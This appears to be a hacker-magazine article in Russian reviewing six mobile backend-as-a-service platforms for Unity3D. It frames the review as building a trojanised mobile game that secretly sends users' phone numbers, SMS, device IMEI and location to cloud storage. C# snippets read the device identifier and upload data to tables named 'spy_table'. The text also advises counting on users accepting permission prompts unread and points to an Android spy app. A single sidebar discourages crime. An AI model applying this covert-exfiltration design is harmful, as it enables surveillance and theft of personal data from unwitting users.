Содержание статьи
Современные облачные сервисы предлагают хакерам потенциально неограниченные ресурсы. Так, Амазон активно используется для взлома WPA-брутфорсом — немецкий эксперт Томас Рот еще в 2011-м перебирал полмиллиона паролей в секунду, оплачивая каждую минуту всего 28 центами. Сегодня скорость перебора за ту же цену наверняка достигла не одного миллиона вариантов. И даже Wikileaks перенесла свои документы в амазоновские службы, научившиеся достаточно успешно справляться с DDoS-атаками. Пора в облака и нам.
Мобильный бэкенд — просто и бесплатно
На базе «низкоуровневых» облачных систем (голые виртуальные серверы или виртуальные файловые хранилища) сегодня активно надстраиваются бэкенды, ориентированные на конкретные нужды прикладных разработчиков. Так называемые backend as a service (BaaS) пользуются особенно активным спросом у мобильных программистов, в связи с чем сегодня фактически стираются различия между BaaS и Mobile BaaS (MBaaS). MBaaS-услуги очень популярны у разработчиков онлайновых игр и в стартаповских проектах, так как экономят огромное количество ресурсов и времени на развертывание и сопровождение серверной инфраструктуры. Подключить к клиентской части облачное хранилище, учетные службы ведения пользователей, социальные сервисы и множество других фич и запустить действующий прототип в эксплуатацию сегодня можно буквально за несколько часов, причем бесплатно.
Чтобы познакомить тебя с базовыми принципами стыковки с MBaaS, я задумал одну небольшую фантазию. На которую меня, кстати, вдохновило Агентство национальной безопасности США, которое скрытно собирало данные через игру Angry Birds, встроив в нее троянец :).
Суть фантазии следующая. Допустим, имеется кросс‑платформенная программа на Unity3D/C#, способная работать в Windows, на Android и iOS. Например, это может быть простенькая мобильная игра‑завлекалочка. Хакер хочет незаметно для пользователя перегнать его данные в облако и потом получить к ним удобный доступ. Какими ресурсами он для этого будет пользоваться?
Методика использования MBaaS
Взаимодействие с любой MBaaS-службой отличается в технических деталях, но обычно развивается по типовой схеме:
- Регистрируемся в MBaaS-сервисе.
- Создаем проект или приложение, получаем для него ключи доступа, которые задаем в клиентской программе.
- На клиентской стороне программируем соединение с сервером.
- Нередко дополнительно требуется завести условного пользователя, который будет идентифицировать конкретный сеанс связи смартфона с сервисом.
- Посредством достаточно простого API (обычно объектно ориентированного) передаем данные в облако.
- Периодически просматриваем консоль MBaaS и анализируем, какие данные за последнее время были слиты.
Я рассмотрю шесть MBaaS-служб, в которых декларируется поддержка Unity3D. BaaS-сервисов схожего назначения на самом деле десятки, и чаще всего обеспечивается взаимодействие с SDK для Android и iOS, но мы специально не будем привязываться к конкретной платформе, чтобы за деталями реализации не потерять суть.
Что и как будет слито?
Полезными в простейшем случае окажутся телефонные номера в списке контактов и тексты эсэмэсок; в более продвинутых случаях можно, получив рут, качать данные поинтересней, в том числе и GPS. В рамках даже кросс‑платформенного Unity3D соответствующие функции можно реализовать вполне комфортно, достаточно добавить несколько десятков строк оригинального кода под каждую из трех основных платформ (Android, iOS, Windows Phone).
Например, так:
#if UNITY_ANDROIDAndroidJavaObject TM = new AndroidJavaObject("android.telephony.TelephonyManager");string IMEI = TM.Call<string>("getDeviceId");...
или даже проще:
string IMEI = SystemInfo.deviceUniqueIdentifier;
Надо только не забыть включить в настройках проекта разрешение READ_PHONE_STATE, все равно пользователи практически всегда принимают эти запросы по умолчанию.
Выбираем лучших из худших
Моя оценка MBaaS-систем, конечно, довольно субъективна, я учитывал прежде всего порог вхождения в соответствующий сервис: как быстро можно запустить работающий тестовый пример, сколь удобна документация, каковы возможности в целом.
GameSparks.com
Гордо называющий себя The #1 Backend-as-a-Service platform for games, этот сервис заслужил твердый неуд и получил первое место с конца. Регистрация занимает минуту, пустая игра тоже мгновенно создается, а сам SDK в формате unitypackage устанавливается без проблем. Первый звоночек прозвучал при копировании игровых ключей: в консоли под API Key и API Secret отведено столь мало места (а автоматически они не выделяются), что в результате очень легко ошибочно скопировать часть ключа без его невидимого хвоста. Сами ключи задаем в сцене Unity3D в настройках меню GameSparks.
Сервис поддерживает множество платформ: iOS, Android, JavaScript, Marmalade, Cocos2d, Flash и другие. Для Unity3D предлагается две версии SDK, однако последнюю, третью, вообще не рекомендую: пока очень сырая, много багов, не выполняется аутентификация по стандартной инструкции, хотя на разбирательство я потратил не один час. А вот предыдущая версия Unity SDK 2 подключилась к серверу GameSparks без проблем, однако поразило практически полное отсутствие внятной документации и общая корявость. Странный пример с акцентом на подключении к фейсбуку с использованием платной библиотеки NGUI добил окончательно. Увы, но даже такие соблазнительные вещи, как NoSQL, прямая интеграция с соцсетями, да и вообще в целом весьма обширная функциональность, не пересилили потенциально необходимого расхода времени на погружение в доки.
Форумы GameSparks тоже не радуют: на вопросы пользователей обещания суппорта «мы рассмотрим ваши пожелания» висят месяцами. Вообще рекомендую обращать внимание на этот момент, потому что рынок MBaaS-сервисов весьма нестабильный.
Вместе с тем на бесплатном тарифе GameSparks можно получить 20 Гб облачного пространства, 20 Гб суммарного трафика и 20 миллионов вызовов API — эти цифры весьма серьезные и превосходят конкурентов подчас на порядок. Связано ли это с агрессивной маркетинговой политикой развития или же с судорожным стремлением удержаться на плаву в условиях растущей конкуренции, покажет время.
Kumakore.com
Версии SDK предлагаются для Unity, Android, iOS, а также, что важно, доступен универсальный REST API. Приятно, что все SDK выложены на GitHub в исходниках. Процесс настройки проекта Unity3D схож с процессом из предыдущего примера: так же импортируем SDK с unitypackage, в консоли создаем приложение и запоминаем ключи. Но на этом все позитивные моменты заканчиваются. Обещанный в документации пример Hellow world в пакете отсутствует. Функция подключения к серверу содержит дополнительный параметр (версия приложения), формат которого с ходу отыскать не удается.
Для первичного соединения с облаком Kumakore подставляем в конструктор, формирующий связь с сервером, соответствующие значения ключей из консоли и версию приложения:
KumakoreApp app = new KumakoreApp("b99418973e694ec8ce453a53bf712a79", "0.0", 1415103791);
Виртуального пользователя лучше создать в консоли заранее:
app.signin("kumasun3157","password").sync(delegate(ActionUserSignin action) {if(action.getCode() == StatusCodes.SUCCESS) { // Сливаем данные на сервер
// ...
} });
warning
Если ты хочешь, чтобы тебе звонили не суровые лейтенанты из управления «К», а Марк Цукерберг или Маркус Перссон, Виктор Кислый или Илья Сухарь, сделай лучше что‑нибудь позитивное. Это может быть ММО про Матрицу, хороший мобильный мессенджер для общения хакеров или плагины для ведущих MBaaS-служб, благо они позволяют создать действующий прототип многопользовательской системы в считаные недели.
info
Более подробно с копированием важных данных с телефона можно познакомиться, поизучав, например, исходники свободного проекта Droid Watcher — Android Spy Application на GitHub.
Главный минус сервиса Kumakore для наших целей в том, что данные необходимо грузить в объекты хранения, привязанные к конкретному пользователю. Вроде бы в сервисе присутствует и некий Global Object, однако примеров работы с ним найти не удалось. В рамках текущего коннекта app надо получить текущего пользователя getUser(), из него вытащить внутреннее хранилище getDatastore() и потом уже внутри создать нужный объект в формате коллекции ключ — значение:
// Наши данные
Dictionary<string,object> data = new Dictionary<string, object>();data.Add("phone_num", "123-45-67");// Условные пользовательские идентификаторы объекта
string type = "phone";string name = "lox";ActionDatastoreCreate action2 = app.getUser().getDatastore().create(type, name, data);action2.sync(delegate(ActionDatastoreCreate a) {if(a.getCode() == StatusCodes.SUCCESS) { // Успешно!
} });
К минусам также надо отнести местами устаревшую документацию (форматы вызовов многих функций изменены) и отсутствие хороших примеров, а также слабую поддержку серверной логики, но в целом этот сервис минимально удовлетворителен. Правда, и бесплатный тариф очень минималистичен: 500 Мб хранилища и в сумме миллион запросов API и push-уведомлений в месяц.
Kii.com
Еще один довольно неуклюжий сервис, на этот раз из Японии. Преимущество его перед предыдущим — наличие какого‑никакого автономного объектного хранилища. Быстро регистрируемся, создаем в консоли приложение, выбираем местонахождение сервера (от этого выбора будет зависеть время отклика облачной службы), получаем два ключа.
Сама настройка SDK и первичного подключения не слишком тривиальна, а все взаимодействие с облаком подразумевает регистрацию игрока, что, как отмечалось, не очень удобно. В SDK входят три DLL’ки, включая неплохой JSON-парсер. Они копируются в каталог Assets нового проекта, после чего надо прикрепить на пустой игровой объект базовый скрипт. В его настройках вводим Application ID, Application Key и Site (последний зависит от географии сервера).
Соединение с сервером стартуем через регистрацию нового пользователя.
KiiUser user = KiiUser.BuilderWithName ("username").Build ();user.Register("password", (KiiUser user2, Exception e) =>{ if (e != null) { // Ошибка авторизации
return; } // Успешно!
});
Теперь можно обращаться к облачному JSON-хранилищу. В нем формируются именованные «бакеты» — условные наборы произвольных объектов.
KiiBucket bucket = Kii.Bucket("spy_table");// Готовим объект, который будет записан в облако:
KiiObject kiiObj = bucket.NewKiiObject();kiiObj["phone_num"] = "123-45-67";kiiObj["money"] = 500;kiiObj.Save((KiiObject obj, Exception e) =>{ if (e != null) { // Неудачно
} else { // Успешно!
}});
Серверная логика реализуется с помощью так называемых серверных расширений, которые пишутся на JavaScript. Важно, что вызывать эти скрипты можно как по условиям (по расписанию или даже вручную, отслеживая процесс из консоли), так и напрямую из клиентского кода:
KiiServerCodeEntry entry = Kii.ServerCodeEntry("main");entry.Execute(...);
Пользователю для экспериментов предлагается 1 Гб хранилища и по миллиону вызовов API и push-уведомлений в месяц.
Призеры и победитель
3-е место. Gamesnet.Yahoo.net
Бывшая PlayerIO.com, приобретенная Yahoo в прошлом году, развивалась весьма успешно, набрав за четыре года 150 миллионов пользователей. Теперь она официально называется Yahoo Games Network, хотя в самой платформе особых изменений не произошло — например, ключевые классы именуются по‑прежнему PlayerIO. Поддерживаемые платформы— Android Java, iOS/Objective-C, Unity3D/.NET, ActionScript. Флеш, кстати, до сих пор позиционируется как основная клиентская платформа, большинство примеров и туториалов сделаны на ActionScript, и это моральное устаревание, конечно, главный минус данной платформы. А в документации примеры все еще для Visual Studio 2010.
После простой регистрации создаем новую игру. В списке сервисов Yahoo имеется облачное NoSQL-хранилище BigDB. Сильная сторона Yahoo в возможности прямой с ним работы в обход дополнительного регистрирования игроков. Из консоли сервиса на вкладке BigDB создадим новую таблицу для хранения наших объектов (например, xtable). Хранилище нереляционное и бессхемное, поэтому задавать жесткую структуру таблицы не требуется, достаточно просто указать ее имя.
SDK для Unity3D представляет собой пустую заготовку проекта, за всю облачную функциональность отвечает DLL’ка PlayerIOUnity3DClient.dll.
Соединение с сервером выполняется простым кодом
PlayerIOClient.PlayerIO.Connect( "test-emwr9sy8ohefq9ce7mbsb7",
"public",
"user-id",
null,
null,
null,
delegate(Client client) { // Соединение установлено
},
delegate(PlayerIOError error) { // Ошибка
Debug.Log(error.Message); });
Фактически достаточно указать единственный идентификатор Game ID и любой произвольный идентификатор текущего пользователя (в нашем случае — "user-id").
После настройки соединения можно сразу слить нужную информацию о телефоне пользователя в облако. Для этого создадим объект базы данных и заполним его произвольно названные поля:
DatabaseObject obj_db = new DatabaseObject();obj_db.Set("phone_num", "123-45-67");obj_db.Set("money", 500);
Добавление объекта в базу столь же прозрачно:
client.BigDB.CreateObject("xtable", "user-id", obj_db,
delegate (DatabaseObject result){ result.Save(null); });
Нужные нам данные появятся в консоли сервиса Yahoo.
К минусам данного сервиса отнесу минималистичные примеры только для флеша, кривоватую и довольно скудную документацию. Впрочем, это все компенсируется простой и устойчивой работой сервиса и общей надежностью под эгидой Yahoo.
Особо хочу отметить отличный акцент на разработке мультиплеерного серверного кода — разработка может вестись в Visual Studio, на сервер грузится обычная DLL’ка, а программисту доступны наглядные услуги сопровождения девелоперских кластеров. По этой причине, несмотря на общую аскетичность, данный сервис уверенно выходит на третье место.
2-е место. Api.Shephertz.com (App42)
Данный сервис попал на второе место в какой‑то степени по блату: я с ним хорошо знаком, пользуюсь им активно и очень доволен. Особо хочу отметить суппорт: уже после первых экспериментов мне назначили менеджера из Индии, с которым мы успешно переписываемся.
App42 Cloud API развивается весьма стабильно, и список услуг постоянно расширяется. Сейчас доступны два десятка клиентских технологий: от типовых (хранилище, уведомления, почта, соцсети, ачивки, топы, серверный код, аналитика) до довольно оригинальных (поддержка геоданных, альбомы фотографий, логии вызовов, э‑коммерция, асинхронные очереди сообщений, офлайновые режимы и прочее).
При регистрации получаем игровые ключи и начинаем настраивать соединение. К небольшим минусам App42 надо отнести отсутствие готового JSON-парсера в стандартном SDK, поэтому я взял опенсорсный SimpleJSON. Еще одна странность данной платформы — обработка негативных ответов сервера через прерывания, хотя по‑взрослому это принято реализовывать с помощью делегатов.
ServiceAPI cloudAPI;StorageService storageService;try
{ // Соединяемся с сервером:
cloudAPI = new ServiceAPI("27bba692c71f3ece89767", "05747459e61b39"); // Устанавливаем связь с облачным хранилищем:
storageService = cloudAPI.BuildStorageService();}catch(Exception){ // Неудачно
storageService = null;}
Записываем данные в облако:
try { JSONClass jsonobj = new JSONClass(); jsonobj.Add("phone_num", "123-45-67"); jsonobj.Add("money", 500); // Сохраняем объект в облачной табличке spy_table с ключом spy_info:
storageService.InsertJSONDocument("spy_table","spy_info", jsonobj); // Успешно!
}catch(App42Exception ){ // Неуспешно
}
Серверный код пишется на Java.
Сервис предлагает бесплатно миллион вызовов API в месяц, миллион push-уведомлений, 1 Гб облачного хранилища и 1 Гб суммарного трафика
1-е место. Parse.com
Этот сервис — однозначный победитель нашего рейтинга, и совсем не потому, что его создатель — москвич Илья Сухарь. Он основал этот стартап в 2011 году, и уже спустя два года ему позвонил Цукерберг, предложив за сервис Parse 85 миллионов долларов, на что Илья согласился. И это при том, что предложения ему делали также Dropbox, Google и Yahoo!
В Parse.com все реализовано очень просто и элегантно. Регистрируемся, создаем пустое приложение в консоли Parse, в разделе Keys копируем нужные ключи. Скачиваем пустую заготовку проекта Unity3D, в котором за все функции платформы отвечает Parse.Unity.dll. Открываем сцену, в настройках объекта Parse Initializer задаем ключи Application ID и .NET Key.
В коде достаточно ввести единичные операторы, чтобы выполнить нужную функцию по сохранению данных в облаке Parse:
ParseObject testObject = new ParseObject("TestObject");testObject["phone"] = "123-45-67";testObject["money"] = 500;testObject.SaveAsync();
TestObject — это название облачной таблички, которая создается в разделе Data консоли Parse парой щелчков мыши.
Не удержусь и приведу элегантный код считывания данных из облака Parse:
ParseQuery<ParseObject> query = ParseObject.GetQuery("TestObject");query.GetAsync("v3unymsLIv").ContinueWith(t => { ParseObject testObj = t.Result; Debug.Log(testObj["phone"]); });
В качестве параметра GetAsync() выступает внутренний идентификатор нужного объекта (objectId), доступный в консоли.
Серверная логика прозрачно кодируется на JavaScript, а соответствующий код можно привязывать к различным событиям или запускать в фоне. Приятно, что даже бесплатный тариф Parse.com весьма щедр: по 20 Гб облачного пространства на свои объекты и на файлы, 2 Тб трафика, 30 обращений к API в секунду (2,67 милииона вызовов в месяц) и одна фоновая серверная задача.
www
Неплохие MBaaS-сервисы:
- appcelerator.com (iOS, Android, Titanium, REST API);
- kumulos.com (iOS, Android);
- kinvey.com (iOS, Android, HTML5, REST API).
Вне конкурса
Отмечу несколько других неплохих сервисов. Это, например, отечественная разработка QuickBlox, предлагающая пак для Unity3D, где акцент сделан на загрузке‑выгрузке файлов и взаимодействии с хранилищем Amazon S3. Минус в том, что для доступа к хранилищу Asset bundles потребуется Pro-версия Unity.
Есть платформы, в которых отсутствует прямая поддержка облачного хранилища через Unity3D, но нередко имеется возможность обращения к нему через универсальный REST API. Это, конечно, и Google Cloud, и Amazon со свежим Cognito для iOS, Android и собственной ОС Fire.
Отдельно надо выделить очень популярную в gamedev-тусовке службу Photon, которая предоставляет мощный и отлично масштабирующийся облачный бэкенд Photon Cloud для мобильных, веб- и PC-платформ. Фотон ориентирован на создание многопользовательских 3D-игр и облачное хранилище данных не предлагает, но всегда есть возможность заказать дедик и настраивать его под свои продвинутые нужды. Пользователям предоставляется высокоуровневая мультиплеерная среда, где не нужно самостоятельно заботиться о синхронизации игрового мира в реальном времени или в пошаговом режиме между всеми пользователями. Минус Фотона для хакера в том, что эта абстрактность подразумевает использование скрытых методов передачи данных, близких к стеганографии. Ну или можно быстро прикрутить обычный чат — это столь востребованная услуга в списке возможностей Photon, что даже позиционируется особняком.